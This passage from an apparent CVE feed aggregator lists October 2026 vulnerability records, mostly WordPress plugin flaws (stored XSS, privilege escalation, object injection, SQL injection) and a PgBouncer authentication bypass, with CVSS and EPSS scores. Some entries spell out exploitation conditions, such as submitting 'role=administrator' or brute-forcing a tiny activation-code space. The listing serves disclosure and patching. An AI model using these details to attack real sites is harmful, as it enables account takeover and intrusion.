NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109447&date=2026-10-25
The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.0.3 via the `role` parameter handled by the `wppb_add_meta_to_user_on_activation()` function. The vulnerability exists because the activation handler passes the attacker-supplied role value directly to `WP_User::set_role()` with no allow-list validation, and the 4.0.3 reserved-name check exempts pre-existing form fields from the block, allowing a legacy field with meta-name `role` to persist and bridge attacker-controlled request input into the serialized signup record stored in `wp_signups`. This makes it possible for unauthenticated attackers to gain a fully activated WordPress administrator account by submitting `role=administrator` through the public `[wppb-register]` shortcode form and subsequently clicking the confirmation activation link. Exploitation requires the site to have a legacy form field with meta-name `role` carried over from before the 4.0.3 upgrade, email confirmation enabled, and open user registration — all stable site-state conditions once established.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Salon Booking System – Appointment Booking for Salons, Barbershops & Spas plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sln[<checkout-field-key>]'...
https://kevwire.com/record/CVE-2026-109232
The Salon Booking System – Appointment Booking for Salons, Barbershops & Spas plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sln[<checkout-field-key>]'... (Oct 16, 2026).
The Salon Booking System – Appointment Booking for Salons, Barbershops & Spas plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sln[<checkout-field-key>]' parameter in all versions up to, and including, 10.31.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires that the site administrator has configured at least one custom checkout field of type Html or File, which is a standard documented plugin feature.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109232).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109232&date=2026-10-25).
Sources:
NVD CVE-2026-109232: https://nvd.nist.gov/vuln/detail/CVE-2026-109232
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109232&date=2026-10-25
The Salon Booking System – Appointment Booking for Salons, Barbershops & Spas plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sln[<checkout-field-key>]' parameter in all versions up to, and including, 10.31.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires that the site administrator has configured at least one custom checkout field of type Html or File, which is a standard documented plugin feature.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads, Subscriptions, Donations, & Payments plugin for WordPress is vulnerable to Stored Cross-Site...
https://kevwire.com/record/CVE-2026-109224
The SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads, Subscriptions, Donations, & Payments plugin for WordPress is vulnerable to Stored Cross-Site... (Oct 16, 2026).
The SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads, Subscriptions, Donations, & Payments plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 4.9.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Successful execution requires the affected comment to appear on a post that loads the surecart-components runtime (e.g. via a [sc_buy_button] shortcode) and contains no sc-checkout element, as these conditions trigger the innerHTML sink in sc-cart-loader.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109224).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109224&date=2026-10-25).
Sources:
NVD CVE-2026-109224: https://nvd.nist.gov/vuln/detail/CVE-2026-109224
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109224&date=2026-10-25
The SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads, Subscriptions, Donations, & Payments plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 4.9.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Successful execution requires the affected comment to appear on a post that loads the surecart-components runtime (e.g. via a [sc_buy_button] shortcode) and contains no sc-checkout element, as these conditions trigger the innerHTML sink in sc-cart-loader.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The RSS Aggregator by Feedzy – Feed to Post, Autoblogging, News & YouTube Video Feeds Aggregator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the...
https://kevwire.com/record/CVE-2026-109207
The RSS Aggregator by Feedzy – Feed to Post, Autoblogging, News & YouTube Video Feeds Aggregator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the... (Oct 16, 2026).
The RSS Aggregator by Feedzy – Feed to Post, Autoblogging, News & YouTube Video Feeds Aggregator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'media:thumbnail@url' parameter in all versions up to, and including, 5.2.11 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the attacker to control an external RSS feed that the target site has already configured for import; no WordPress account or special plugin configuration is needed beyond that condition.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109207).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109207&date=2026-10-25).
Sources:
NVD CVE-2026-109207: https://nvd.nist.gov/vuln/detail/CVE-2026-109207
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109207&date=2026-10-25
The RSS Aggregator by Feedzy – Feed to Post, Autoblogging, News & YouTube Video Feeds Aggregator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'media:thumbnail@url' parameter in all versions up to, and including, 5.2.11 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the attacker to control an external RSS feed that the target site has already configured for import; no WordPress account or special plugin configuration is needed beyond that condition.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The HivePress – Business Directory, Listings & Classified Ads Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '<custom user attribute slug> (e.g.
https://kevwire.com/record/CVE-2026-109193
The HivePress – Business Directory, Listings & Classified Ads Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '<custom user attribute slug> (e.g. (Oct 16, 2026).
The HivePress – Business Directory, Listings & Classified Ads Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '<custom user attribute slug> (e.g. hp_custom_link)' parameter in all versions up to, and including, 1.7.32 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires that an administrator has configured a custom user attribute with a display_format template placing the %value% token inside an href, src, or style attribute context, which is a documented and expected use of the plugin's attribute display feature.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109193).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109193&date=2026-10-25).
Sources:
NVD CVE-2026-109193: https://nvd.nist.gov/vuln/detail/CVE-2026-109193
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109193&date=2026-10-25
The HivePress – Business Directory, Listings & Classified Ads Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '<custom user attribute slug> (e.g. hp_custom_link)' parameter in all versions up to, and including, 1.7.32 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires that an administrator has configured a custom user attribute with a display_format template placing the %value% token inside an href, src, or style attribute context, which is a documented and expected use of the plugin's attribute display feature.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in TMS Amelia ameliabooking allows SQL Injection.This issue affects Amelia: from...
https://kevwire.com/record/CVE-2026-108497
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in TMS Amelia ameliabooking allows SQL Injection.This issue affects Amelia: from... (Oct 15, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in TMS Amelia ameliabooking allows SQL Injection.This issue affects Amelia: from n/a through 2.4.10.
CVSS 9.3 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108497).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108497&date=2026-10-25).
Sources:
NVD CVE-2026-108497: https://nvd.nist.gov/vuln/detail/CVE-2026-108497
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108497&date=2026-10-25
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in TMS Amelia ameliabooking allows SQL Injection.This issue affects Amelia: from n/a through 2.4.10.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The TranslatePress – Translate Multilingual sites with AI Translation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions...
https://kevwire.com/record/CVE-2026-107768
The TranslatePress – Translate Multilingual sites with AI Translation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions... (Oct 16, 2026).
The TranslatePress – Translate Multilingual sites with AI Translation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 3.3.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires the target site to allow unmoderated comment submission on at least one post and to have a secondary language configured — both conditions reflect TranslatePress's primary use case.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107768).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107768&date=2026-10-25).
Sources:
NVD CVE-2026-107768: https://nvd.nist.gov/vuln/detail/CVE-2026-107768
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107768&date=2026-10-25
The TranslatePress – Translate Multilingual sites with AI Translation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 3.3.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires the target site to allow unmoderated comment submission on at least one post and to have a secondary language configured — both conditions reflect TranslatePress's primary use case.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The SiteOrigin CSS plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'url (comment_author_url)' parameter in all versions up to, and including,...
https://kevwire.com/record/CVE-2026-107764
The SiteOrigin CSS plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'url (comment_author_url)' parameter in all versions up to, and including,... (Oct 16, 2026).
The SiteOrigin CSS plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'url (comment_author_url)' parameter in all versions up to, and including, 1.6.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is possible because WordPress core's esc_url() preserves HTML entity-encoded characters, allowing a crafted entity-encoded payload in the comment 'Website' field to survive storage and be DOM-decoded by the browser into executable markup at the sink.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107764).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107764&date=2026-10-25).
Sources:
NVD CVE-2026-107764: https://nvd.nist.gov/vuln/detail/CVE-2026-107764
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107764&date=2026-10-25
The SiteOrigin CSS plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'url (comment_author_url)' parameter in all versions up to, and including, 1.6.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is possible because WordPress core's esc_url() preserves HTML entity-encoded characters, allowing a crafted entity-encoded payload in the comment 'Website' field to survive storage and be DOM-decoded by the browser into executable markup at the sink.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Colibri Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 1.0.390 due to...
https://kevwire.com/record/CVE-2026-107758
The Colibri Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 1.0.390 due to... (Oct 16, 2026).
The Colibri Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 1.0.390 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The injected payload survives storage because the widened comment allow-list permits SVG elements with arbitrary data-* attributes; execution occurs because colibri.js, enqueued globally on every front-end page, reads the stored data-target value via jQuery.data() — which HTML-entity-decodes it — and passes the resulting string directly into jQuery(), which parses a leading '<' as HTML and fires the embedded event handler.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107758).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107758&date=2026-10-25).
Sources:
NVD CVE-2026-107758: https://nvd.nist.gov/vuln/detail/CVE-2026-107758
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107758&date=2026-10-25
The Colibri Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 1.0.390 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The injected payload survives storage because the widened comment allow-list permits SVG elements with arbitrary data-* attributes; execution occurs because colibri.js, enqueued globally on every front-end page, reads the stored data-target value via jQuery.data() — which HTML-entity-decodes it — and passes the resulting string directly into jQuery(), which parses a leading '<' as HTML and fires the embedded event handler.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The WP Sessions Time Monitoring Full Automatic plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'action (also function, plugin, post_type, post_status,...
https://kevwire.com/record/CVE-2026-107648
The WP Sessions Time Monitoring Full Automatic plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'action (also function, plugin, post_type, post_status,... (Oct 16, 2026).
The WP Sessions Time Monitoring Full Automatic plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'action (also function, plugin, post_type, post_status, ids, loggedout, and POST post_title)' parameter in all versions up to, and including, 1.1.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107648).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107648&date=2026-10-25).
Sources:
NVD CVE-2026-107648: https://nvd.nist.gov/vuln/detail/CVE-2026-107648
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107648&date=2026-10-25
The WP Sessions Time Monitoring Full Automatic plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'action (also function, plugin, post_type, post_status, ids, loggedout, and POST post_title)' parameter in all versions up to, and including, 1.1.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper authentication in PgBouncer 1.17.0 through 1.26.0 allows a remote attacker who knows the password of a user listed in auth_file to log in as any other user that...
https://kevwire.com/record/CVE-2026-107350
Improper authentication in PgBouncer 1.17.0 through 1.26.0 allows a remote attacker who knows the password of a user listed in auth_file to log in as any other user that... (Oct 14, 2026).
Improper authentication in PgBouncer 1.17.0 through 1.26.0 allows a remote attacker who knows the password of a user listed in auth_file to log in as any other user that authenticates using SCRAM, including PgBouncer admin users and backend superusers. A second StartupMessage sent during SCRAM authentication against a non-existent database is not rejected and switches the user being logged in as, while the SCRAM exchange is still verified against the keys of the first user.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107350).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107350&date=2026-10-25).
Sources:
NVD CVE-2026-107350: https://nvd.nist.gov/vuln/detail/CVE-2026-107350
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107350&date=2026-10-25
Improper authentication in PgBouncer 1.17.0 through 1.26.0 allows a remote attacker who knows the password of a user listed in auth_file to log in as any other user that authenticates using SCRAM, including PgBouncer admin users and backend superusers. A second StartupMessage sent during SCRAM authentication against a non-existent database is not rejected and switches the user being logged in as, while the SCRAM exchange is still verified against the keys of the first user.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in 8theme.com XStore xstore allows Reflected XSS.This issue affects XStore: from...
https://kevwire.com/record/CVE-2026-105065
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in 8theme.com XStore xstore allows Reflected XSS.This issue affects XStore: from... (Oct 15, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in 8theme.com XStore xstore allows Reflected XSS.This issue affects XStore: from n/a before 9.7.9.
CVSS 7.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105065).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105065&date=2026-10-25).
Sources:
NVD CVE-2026-105065: https://nvd.nist.gov/vuln/detail/CVE-2026-105065
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105065&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in 8theme.com XStore xstore allows Reflected XSS.This issue affects XStore: from n/a before 9.7.9.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Search Regex plugin for WordPress is vulnerable to PHP Object Injection in version 3.5 via deserialization of untrusted input in the replace_all function.
https://kevwire.com/record/CVE-2026-104932
The Search Regex plugin for WordPress is vulnerable to PHP Object Injection in version 3.5 via deserialization of untrusted input in the replace_all function. (Oct 16, 2026).
The Search Regex plugin for WordPress is vulnerable to PHP Object Injection in version 3.5 via deserialization of untrusted input in the replace_all function. This allows authenticated attackers, with subscriber-level access and above, to inject a PHP Object. The additional presence of a POP chain allows attackers to execute code.
CVSS 8.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104932).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104932&date=2026-10-25).
Sources:
NVD CVE-2026-104932: https://nvd.nist.gov/vuln/detail/CVE-2026-104932
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104932&date=2026-10-25
The Search Regex plugin for WordPress is vulnerable to PHP Object Injection in version 3.5 via deserialization of untrusted input in the replace_all function. This allows authenticated attackers, with subscriber-level access and above, to inject a PHP Object. The additional presence of a POP chain allows attackers to execute code.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Customer Email Verification for WooCommerce plugin for WordPress is vulnerable to Privilege Escalation via the `alg_wc_ev_verify_email` parameter in versions up to, and...
https://kevwire.com/record/CVE-2026-104745
The Customer Email Verification for WooCommerce plugin for WordPress is vulnerable to Privilege Escalation via the `alg_wc_ev_verify_email` parameter in versions up to, and... (Oct 16, 2026).
The Customer Email Verification for WooCommerce plugin for WordPress is vulnerable to Privilege Escalation via the `alg_wc_ev_verify_email` parameter in versions up to, and including, 3.3.0. The vulnerability exists because `alg_wc_ev_generate_user_code()` generates the per-user activation secret using `wp_rand(100)` when the plugin's 'Encoding method' is set to 'hashids', producing only ~101 possible values (~7 bits of entropy); the resulting token is a reversible Hashids encoding with no cryptographic MAC, and the unauthenticated `verify()` handler — hooked to `init` at `PHP_INT_MAX` with no nonce check and no rate limiting — accepts and acts on the attacker-controlled `?alg_wc_ev_verify_email=` GET parameter directly. This makes it possible for unauthenticated attackers to gain authentication as any unverified WordPress account, including administrator-level accounts, by brute-forcing the trivially small activation code space via a forged verification URL. Exploitation requires that the 'Encoding method' setting be changed to 'hashids' (non-default), that the attacker recover or brute-force the Hashids salt (which defaults to an `md5(time())` value set at first initialization), and that the target account's email address remain unverified.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104745).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104745&date=2026-10-25).
Sources:
NVD CVE-2026-104745: https://nvd.nist.gov/vuln/detail/CVE-2026-104745
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104745&date=2026-10-25
The Customer Email Verification for WooCommerce plugin for WordPress is vulnerable to Privilege Escalation via the `alg_wc_ev_verify_email` parameter in versions up to, and including, 3.3.0. The vulnerability exists because `alg_wc_ev_generate_user_code()` generates the per-user activation secret using `wp_rand(100)` when the plugin's 'Encoding method' is set to 'hashids', producing only ~101 possible values (~7 bits of entropy); the resulting token is a reversible Hashids encoding with no cryptographic MAC, and the unauthenticated `verify()` handler — hooked to `init` at `PHP_INT_MAX` with no nonce check and no rate limiting — accepts and acts on the attacker-controlled `?alg_wc_ev_verify_email=` GET parameter directly. This makes it possible for unauthenticated attackers to gain authentication as any unverified WordPress account, including administrator-level accounts, by brute-forcing the trivially small activation code space via a forged verification URL. Exploitation requires that the 'Encoding method' setting be changed to 'hashids' (non-default), that the attacker recover or brute-force the Hashids salt (which defaults to an `md5(time())` value set at first initialization), and that the target account's email address remain unverified.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Sunshine Photo Cart – Client Photo Gallery & Photo Proofing for Photographers plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including,...
https://kevwire.com/record/CVE-2026-104730
The Sunshine Photo Cart – Client Photo Gallery & Photo Proofing for Photographers plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including,... (Oct 16, 2026).
The Sunshine Photo Cart – Client Photo Gallery & Photo Proofing for Photographers plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.7.4 via deserialization of untrusted input . This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. If a POP chain is present via an additional plugin or theme installed on the target system, the attacker can store the malicious payload unauthenticated via the public favorites page and trigger deserialization by viewing any image in a non-viewable or private gallery.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104730).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104730&date=2026-10-25).
Sources:
NVD CVE-2026-104730: https://nvd.nist.gov/vuln/detail/CVE-2026-104730
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104730&date=2026-10-25
The Sunshine Photo Cart – Client Photo Gallery & Photo Proofing for Photographers plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.7.4 via deserialization of untrusted input . This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. If a POP chain is present via an additional plugin or theme installed on the target system, the attacker can store the malicious payload unauthenticated via the public favorites page and trigger deserialization by viewing any image in a non-viewable or private gallery.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Ultra Addons for Contact Form 7 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via File Upload in all versions up to, and including, 3.5.54 due to...
